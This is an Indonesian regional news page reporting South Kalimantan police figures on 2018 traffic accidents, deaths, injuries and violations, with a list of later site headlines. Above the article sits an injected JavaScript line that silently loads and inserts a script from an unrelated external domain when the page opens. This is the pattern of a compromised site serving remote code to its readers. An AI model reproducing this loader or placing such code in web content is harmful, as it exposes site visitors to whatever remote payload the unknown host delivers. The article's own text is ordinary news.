(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

328 Nyawa Melayang di Jalanan Akibat Lakalantas Selama 2018


BANJARMASIN, Jumlah kasus Lakalantas di Kalsel masih cukup tinggi. Meskipun ada penurunan dari tahun sebelumnya, jumlah kasus dengan korban meninggal tercatat 328 orang. Sebelumnya, dalam kasus yang sama pada 2017 jumlah korban tewas mencapai 454 orang. Sehingga, ada penurunan sekitar 27,7 persen.

Hal tersebut disampaikan Kapolda Kalsel Irjen Yazid Fanani saat konferensi pers akhir tahun 2018 yang bertempat di Mapolda Polda Kalsel,  Senin (31/12). Hadir pada kesempatan tersebut Wakapolda Brigjen Aneka Pristafuddin, Irwasda Kombes Djoko Poerbo Hadijojo, dan pejabat utama Polda Kalsel.

Menurut Kapolda, pada aspek operasional, jumlah lakalantas tahun 2018  turun 93 kasus atau 16,34 persen yaitu dari 569 kasus tahun 2017 menjadi 476 kasus pada tahun 2018. (Periode Januari hingga 26 Desember 2018, red).

“Korban meninggal dunia akibat lakalantas tahun 2018 turun menjadi 126 orang atau 27,75 persen yaitu dari 454 orang tahun 2017 menjadi 328 orang tahun 2018 (Januari –November 2018),” jelasnya.

Sedangkan untuk korban luka berat tahun 2018 mencapai 31 orang atau 23,48 persen yaitu dari 132 orang pada tahun 2017 menjadi 101 orang pada tahun 2018 (Januari-Nopember 2018). Korban luka ringan lakalantas tahun 2018 angkanya turun 62 orang atau 15,46 persen yaitu dari 401 orang pada tahun 2017 menjadi 339 orang pada tahun 2018 (Januari-November 2018).

Sementara itu, jumlah pelanggaran lalu-lintas tahun 2018 turun 17.193 pelanggar atau 16,45 persen yaitu dari 104,479  pelanggar pada tahun 2017, menjadi 87.286 pelanggar pada tahun 2018 (Januari-Nopember 2018).

“Semua angka-angka tersebut, masih menjadi tantangan dan memerlukan kerja keras dan sinergitas berbagai pihak. Serta peningkatan kepatuhan hukum masyarakat, untuk terus menerus berupaya meningkatkan kualitas berlalulintas, karena kecelakaan lalu lintas berawal dari pelanggaran terhadap aturan dan etika berlalu lintas,” jelasnya.

KASUS LAKALANTAS DI KALSEL SELAMA 2018

KATEGORI 2017 2018
Jumlah Lakalantas 569 orang 476 orang
Pelanggaran Lalu Lintas 104.479 orang 87.286 orang
Korban Meninggal 454 orang 328 orang
Korban Luka Berat 132 orang 101 orang
Korban Luka Ringan 401 orang 339 orang

Kapolda Irjen Yazid Fanani mengatakan polantas terus memberikan pelayanan yang baik terhadap masyarakat dengan cara meningkatkan kesadaran dan keselamatan berlalu lintas. Sebab, kata Yazid, banyak korban mati sia-sia dan kehilangan berbagai organ tubuh akibat kecelakaan.  “Akhirnya menjadi cacat permanen. Kami tidak ingin hal serupa terjadi, pengalaman adalah guru terbaik, tapi pengalaman yang buruk cukup kita pelajari dari orang lain,” tandasnya.

Perlu diketahui, saat ini sebanyak 30 persen kasus kecelakaan lalu lintas yang terjadi paling banyak melibatkan korban para pelajar. “Fakta ini membuat kita miris dan patut menjadi perhatian semua pihak untuk bisa menekannya,” kata Zulpan beberapa waktu lalu.

“Usia pelajar ini dari 15 tahun sampai 19 tahun, artinya mulai siswa SMP hingga SMA sederajat, termasuk mereka yang baru duduk di bangku kuliah,” tambahnya.

Untuk tahun ini, dirinya mengaku cukup bersyukur karena kasus Laka Lantas bisa ditekan atau turun hingga 4,6 persen. “Hal ini berkat sosialisasi dan penyuluhan tentang tertib berlalu lintas yang gencar kami lakukan seperti `Police goes to School` dan `Police goes to Campus` dengan sasaran pelajar dan mahasiswa,” ungkapnya.

Selain itu, upaya lain yang tak kalah penting juga dilakukan Ditlantas Polda Kalsel, dengan memberikan bahan materi tentang berlalu lintas kepada para guru.  Apalagi saat ini telah ada Nota kesepahaman (memorandum of understanding atau MoU) antara Kemendikbud dengan Korlantas Polri tentang pengintegrasian secara menyeluruh pelajaran tertib berlalu lintas dengan mata pelajaran PPKn.

“Sehingga kami harapkan guru dapat memberikan pemahaman yang konkrit kepada peserta didik dan betul-betul bisa menumbuhkan kesadaran tentang pentingnya keselamatan di jalan raya yang telah banyak merenggut korban jiwa,” katanya. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

7 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

7 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

11 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

11 jam ago

This website uses cookies.